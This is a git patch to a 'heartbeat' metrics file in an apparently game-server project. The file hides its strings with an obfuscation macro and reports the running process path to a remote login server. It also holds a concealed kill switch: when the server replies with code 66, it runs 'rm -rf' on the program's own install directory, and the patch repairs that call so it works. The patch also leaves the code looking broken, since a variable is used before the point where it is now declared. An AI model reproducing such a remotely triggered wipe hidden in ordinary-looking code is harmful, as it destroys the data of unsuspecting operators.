From 8508437815c59434f33c7df3f80c8e2e949d6023 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 22:27:24 -0500 Subject: [PATCH] more refinements --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index dc023438..55361c1b 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -8,11 +8,11 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { std::string filePath = this->get_selfpath().c_str(); - size_t found = filePath.find_last_of("/\\"); webAPI api = webAPI::webAPI( - std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), + std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); + api.addJsonData(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt())); if (found) { api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.substr(found + 1)); @@ -42,8 +42,9 @@ webAPIHeartbeat::webAPIHeartbeat() { this->eatIt(); break; case 66: + size_t found = filePath.find_last_of("/\\"); if (!filePath.empty() && found) { - system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt())); + system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt()).c_str()); } this->eatIt(); break;